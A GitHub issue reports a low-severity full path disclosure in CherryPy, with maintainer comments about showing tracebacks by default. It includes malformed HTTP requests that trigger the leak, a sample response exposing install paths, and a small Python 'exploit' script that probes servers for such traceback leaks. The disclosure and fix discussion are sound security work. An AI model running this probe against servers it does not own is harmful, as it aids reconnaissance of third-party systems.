[Security, minor] Full Path Disclosure on non compliant request
See original GitHub issue-
I’m submitting a …
-
bug report
-
Do you want to request a feature or report a bug? BUG
-
What is the current behavior? CherryPy will disclose full path for cherrypy installation folder if you send ‘malicious’ requests to it. This is considered to be a security flaw as it’s disclosing the precise path in which software is installed and may leak additional information about the used OS and directories naming convention in given infrastructure. Severity is very low as it’s just FPD and you can read more about it here: https://www.owasp.org/index.php/Full_Path_Disclosure but still worth fixing
The bug pops up when you send: a) a request(GET/POST) with invalid protocol name, e.g. HXXP instead of HTTP/1.x b) a request without Host header c) a POST request with Content-Length:0 d) haven’t tested other scenarios but there may be plenty. 3 examples should be enough to help you identify where the issue happens and be enough for reliable PoC
I’ve ran Shodan search and identified about 38k Internet facing servers running Cherrypy. Out of them ~30k were vulnerable to this under one or more of the conditions mentioned above(used versions varied between 3.x and 10.x)
In default setup with version CherryPy/10.2.2 the issue happens only for case b) and server replies then with:
HTTP/1.1 400 Bad Request
Date: Sun, 04 Jun 2017 20:29:01 GMT
Content-Length: 1092
Content-Type: text/html;charset=utf-8
Server: CherryPy/10.2.2
Connection: close
<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></meta>
<title>400 Bad Request</title>
<style type="text/css">
#powered_by {
margin-top: 20px;
border-top: 2px solid black;
font-style: italic;
}
#traceback {
color: red;
}
</style>
</head>
<body>
<h2>400 Bad Request</h2>
<p>HTTP/1.1 requires a 'Host' request header.</p>
<pre id="traceback">Traceback (most recent call last):
File "C:\Python27\lib\site-packages\cherrypy\_cprequest.py", line 635, in respond
self.process_headers()
File "C:\Python27\lib\site-packages\cherrypy\_cprequest.py", line 745, in process_headers
raise cherrypy.HTTPError(400, msg)
HTTPError: (400, "HTTP/1.1 requires a 'Host' request header.")
</pre>
<div id="powered_by">
<span>
Powered by <a href="http://www.cherrypy.org">CherryPy 10.2.2</a>
</span>
</div>
</body>
</html>
- If the current behavior is a bug, please provide the steps to reproduce and if possible a screenshots and logs of the problem. You can either: a) use telnet to send malformed requests, and they you’ll use: a1) for missing Host header: telnet localhost 8080 GET / HTTP/1.1 2x empty newline a2) for malformed protocol: GET / HXXP/1.1 2x empty newline a3) for POST with Content-Length:0 POST / HTTP/1.1 Host: example.com Content-Length:0 2x empty newline
b) use the script below(it’s using proxy to monitor the requests, so either remove the proxy part from the script or setup burp/fiddler on your PC on localhost:8081 and you’ll be fine without modifications)
import socket
import re
CRLF = "\r\n\r\n"
HOST = "127.0.0.1"
PORT = 8081
def match(hostname, data):
for pattern in ('\".+\.py\w*', 'Traceback', 'File'):
fpd = re.search(pattern, data)
if fpd:
print(hostname+' is vulnerable and disclosed: '+fpd.group())
break
return fpd
def exploit(host,test):
data = None
try:
sock = socket.create_connection((HOST,PORT),7)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.send(test)
data = sock.recv(1000)
sock.shutdown(1)
sock.close()
except Exception, errormsg:
print host,errormsg
if data:
fpd = match(host,data)
return fpd
def connection(host):
fpd = None
url = "http://"+host #if you don't wish to use local proxy then remove the 'http://' part
tests = []
tests.append("GET %s HTTP/1.1 \r\n\r\n" % url)
tests.append("GET %s HZXP/1.1 \r\n\r\n" % url)
tests.append("POST %s HTTP/1.1 \r\nHost: %s \r\nContent-length: 0\r\n\r\n" % (url, host))
for test in tests:
if not fpd:
fpd = exploit(host,test)
connection('127.0.0.1:8080') # put IP:port of your cherrypy here
- What is the expected behavior?
Server shouldn’t disclose the installation path in response body. Throwing s.400 Bad Request is just enough.
- Please tell us about your environment:
- Python version: 2.7
- OS: Windows 10/CentOS 7
Issue Analytics
- State:
- Created 6 years ago
- Comments:8 (6 by maintainers)
Top GitHub Comments
My instinct is the same. If David is right and there are some 30k hosts running in Dev mode, perhaps there’s something more that CherryPy should do to warn about the condition or perhaps use production mode by default and opt in to Dev mode.
I like what MondoDB did with a similar problem.
The defaults were friendly for the developer but unsafe. The beginners could start working in minutes without worrying about configuring a safe environment, and most MongoDB servers ended up being usafe.
They did not change the default. Instead they added very invasive warnings.
I would do the same with CherryPy: a big invasive warning mentioning
cherrypy.serving.request.show_tracebacks
should be shown when the server starts, right beforeENGINE Bus STARTED
. So the beginner will still get the app running quickly, but will have a constant reminder that the app is unsafe.